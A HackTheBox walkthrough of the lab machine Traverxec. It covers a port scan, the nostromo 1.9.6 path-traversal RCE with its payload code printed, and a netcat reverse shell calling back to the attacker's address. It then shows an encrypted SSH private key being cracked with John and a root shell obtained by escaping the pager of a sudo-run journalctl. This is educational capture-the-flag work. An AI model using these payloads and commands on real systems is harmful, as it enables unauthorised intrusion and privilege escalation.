Traverxec - HackTheBox

Traverxec is an easy Linux machine on HackTheBox involving a path traversal bug that allows RCE, cracking an SSH key and exploiting the pager functionality of journalctl to get a root shell.

Information gathering

Let's start with a port scan:

$ nmap -A -T4 10.10.10.165
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-21 15:11 PST
Nmap scan report for 10.10.10.165
Host is up (0.051s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The web server hosts a simple presentation page:

Exploiting nostromo

As I've never heard about nostromo, the first thing I did is to search for exploits:

$ searchsploit nostromo
-------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                  |  Path
                                                                                | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------- ----------------------------------------
Nostromo - Directory Traversal Remote Command Execution (Metasploit)            | exploits/multiple/remote/47573.rb
nostromo 1.9.6 - Remote Code Execution                                          | exploits/multiple/remote/47837.py
nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution            | exploits/linux/remote/35466.sh
-------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

47837.py looks like our guy! Let's download it with searchsploit -m 47837.py and try it:

$ ./47837.py 10.10.10.165 80 whoami


                                        _____-2019-16278
        _____  _______    ______   _____\    \
   _____\    \_\      |  |      | /    / |    |
  /     /|     ||     /  /     /|/    /  /___/|
 /     / /____/||\    \  \    |/|    |__ |___|/
|     | |____|/ \ \    \ |    | |       \
|     |  _____   \|     \|    | |     __/ __
|\     \|\    \   |\         /| |\    \  /  \
| \_____\|    |   | \_______/ | | \____\/    |
| |     /____/|    \ |     | /  | |    |____/|
 \|_____|    ||     \|_____|/    \|____|   | |
        |____|/                        |___|/




HTTP/1.1 200 OK
Date: Thu, 09 Apr 2020 21:08:11 GMT
Server: nostromo 1.9.6
Connection: close


www-data

And it works! This is the important part of the code:

def cve(target, port, cmd):
    soc = socket.socket()
    soc.connect((target, int(port)))
    payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1'.format(cmd)
    soc.send(payload)
    receive = connect(soc)
    print(receive)

It is basically a RCE by path traversal, it runs /bin/sh and pass to it our argument.

Getting a shell

Let's start a netcat listener with rlwrap nc -lnvp 1337 and get a reverse shell with ./47837.py 10.10.10.165 80 'nc 10.10.14.81 1337 -c /bin/bash'. rlwrap allows us to use up and down arrows, and let's get a prompt also:

python -c 'import pty; pty.spawn("bash")'
www-data@traverxec:/usr/bin$

Looks like we have a user called david, and no access to it's home directory:

www-data@traverxec:/usr/bin$ ls -l /home
ls -l /home
total 4
drwx--x--x 5 david david 4096 Oct 25 17:02 david

While exploring the file system, we can see there's an some interesing files in the web server configuration directory:

www-data@traverxec:/var/nostromo/conf$ ls -la
ls -la
total 20
drwxr-xr-x 2 root daemon 4096 Oct 27 16:12 .
drwxr-xr-x 6 root root   4096 Oct 25 14:43 ..
-rw-r--r-- 1 root bin      41 Oct 25 15:20 .htpasswd
-rw-r--r-- 1 root bin    2928 Oct 25 14:26 mimes
-rw-r--r-- 1 root bin     498 Oct 25 15:20 nhttpd.conf

Here's the configuration file:

www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf
cat nhttpd.conf
# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             david@traverxec.htb
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

Basically, after reading the documentation, what I've understood is that nostromo creates a path on the web server named as every folder in /home and prepending a ~ to it, and it's root will be a folder called public_www in the respective user home. In this case, for example, we have http://10.10.10.165/~david/ point to /home/david/public_www:

We can list all the files in ~david then:

www-data@traverxec:/var/nostromo/conf$ ls /home/david/public_www
index.html  protected-file-area

Let's see what's in there:

www-data@traverxec:/var/nostromo/conf$ ls /home/david/public_www/protected-file-area
backup-ssh-identity-files.tgz

Let's move to /tmp and extract it:

www-data@traverxec:/tmp$ tar zvxf /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub

Looks like we have an encrypted ssh key:

www-data@traverxec:/tmp/home/david/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F

seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W
KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU
RJUpcsAtpHAbXaJI9LFyX8IhQ8frTOOLuBMmuSEwhz9KVjw2kiLBLyKS+sUT9/V7
HHVHW47Y/EVFgrEXKu0OP8rFtYULQ+7k7nfb7fHIgKJ/6QYZe69r0AXEOtv44zIc
Y1OMGryQp5CVztcCHLyS/9GsRB0d0TtlqY2LXk+1nuYPyyZJhyngE7bP9jsp+hec
dTRqVqTnP7zI8GyKTV+KNgA0m7UWQNS+JgqvSQ9YDjZIwFlA8jxJP9HsuWWXT0ZN
6pmYZc/rNkCEl2l/oJbaJB3jP/1GWzo/q5JXA6jjyrd9xZDN5bX2E2gzdcCPd5qO
xwzna6js2kMdCxIRNVErnvSGBIBS0s/OnXpHnJTjMrkqgrPWCeLAf0xEPTgktqi1
Q2IMJqhW9LkUs48s+z72eAhl8naEfgn+fbQm5MMZ/x6BCuxSNWAFqnuj4RALjdn6
i27gesRkxxnSMZ5DmQXMrrIBuuLJ6gHgjruaCpdh5HuEHEfUFqnbJobJA3Nev54T
fzeAtR8rVJHlCuo5jmu6hitqGsjyHFJ/hSFYtbO5CmZR0hMWl1zVQ3CbNhjeIwFA
bzgSzzJdKYbGD9tyfK3z3RckVhgVDgEMFRB5HqC+yHDyRb+U5ka3LclgT1rO+2so
uDi6fXyvABX+e4E4lwJZoBtHk/NqMvDTeb9tdNOkVbTdFc2kWtz98VF9yoN82u8I
Ak/KOnp7lzHnR07dvdD61RzHkm37rvTYrUexaHJ458dHT36rfUxafe81v6l6RM8s
9CBrEp+LKAA2JrK5P20BrqFuPfWXvFtROLYepG9eHNFeN4uMsuT/55lbfn5S41/U
rGw0txYInVmeLR0RJO37b3/haSIrycak8LZzFSPUNuwqFcbxR8QJFqqLxhaMztua
4mOqrAeGFPP8DSgY3TCloRM0Hi/MzHPUIctxHV2RbYO/6TDHfz+Z26ntXPzuAgRU
/8Gzgw56EyHDaTgNtqYadXruYJ1iNDyArEAu+KvVZhYlYjhSLFfo2yRdOuGBm9AX
JPNeaxw0DX8UwGbAQyU0k49ePBFeEgQh9NEcYegCoHluaqpafxYx2c5MpY1nRg8+
XBzbLF9pcMxZiAWrs4bWUqAodXfEU6FZv7dsatTa9lwH04aj/5qxEbJuwuAuW5Lh
hORAZvbHuIxCzneqqRjS4tNRm0kF9uI5WkfK1eLMO3gXtVffO6vDD3mcTNL1pQuf
SP0GqvQ1diBixPMx+YkiimRggUwcGnd3lRBBQ2MNwWt59Rri3Z4Ai0pfb1K7TvOM
j1aQ4bQmVX8uBoqbPvW0/oQjkbCvfR4Xv6Q+cba/FnGNZxhHR8jcH80VaNS469tt
VeYniFU/TGnRKDYLQH2x0ni1tBf0wKOLERY0CbGDcquzRoWjAmTN/PV2VbEKKD/w
-----END RSA PRIVATE KEY-----

Let's copy it on our machine and try to crack it with John:

$ ssh2john.py id_rsa > id_rsa.hash
$ john --wordlist=lists/rockyou.txt id_rsa.hash                                                                                                      
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (id_rsa)
Warning: Only 1 candidate left, minimum 8 needed for performance.
1g 0:00:00:02 DONE (2019-11-21 18:03) 0.4329g/s 6208Kp/s 6208Kc/s 6208KC/s *7¡Vamos!
Session completed

Escalation to user

Let's try to use it to get a shell as david:

$ ssh david@10.10.10.165 -i id_rsa
The authenticity of host '10.10.10.165 (10.10.10.165)' can't be established.
ECDSA key fingerprint is SHA256:CiO/pUMzd+6bHnEhA2rAU30QQiNdWOtkEPtJoXnWzVo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.165' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_rsa':
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
david@traverxec:~$

And we got user!

Root escalation

As we login, we can see a folder named bin that contains a script called server-stats.sh

#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

It is basically a script that shows some informations about the server:

david@traverxec:~/bin$ ./server-stats.sh
                                                                          .----.
                                                              .---------. | == |
   Webserver Statistics and Data                              |.-"""""-.| |----|
         Collection Script                                    ||       || | == |
          (c) David, 2019                                     ||       || |----|
                                                              |'-.....-'| |::::|
                                                              '"")---(""' |___.|
                                                             /:::::::::::\"    "
                                                            /:::=======:::\
                                                        jgs '"""""""""""""'

Load:  18:46:50 up  4:59,  1 user,  load average: 0.00, 0.00, 0.00

Open nhttpd sockets: 1
Files in the docroot: 117

Last 5 journal log lines:
-- Logs begin at Sun 2020-04-12 13:47:08 EDT, end at Sun 2020-04-12 18:46:50 EDT. --
Apr 12 13:47:12 traverxec systemd[1]: Started nostromo nhttpd server.
Apr 12 14:23:33 traverxec sudo[764]: pam_unix(sudo:auth): conversation failed
Apr 12 14:23:33 traverxec sudo[764]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Apr 12 14:23:33 traverxec sudo[764]: www-data : command not allowed ; TTY=unknown ; PWD=/usr/bin ; USER=root ; COMMAND=list
Apr 12 14:43:23 traverxec sudo[835]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/0 ruser=www-data rhost=  user=www-data

Notice that when you run it it does not ask for the user's password, despite using sudo on the last line? We can exploit this because journalctl uses less to stop output from scrolling too much:

And we can use less to get a shell as root, because journalctl was launched with sudo:

Cool little trick, right? Who would think to something about that! Let's check the root flag:

# wc -c /root/root.txt
33 /root/root.txt

And this was it, thanks for reading!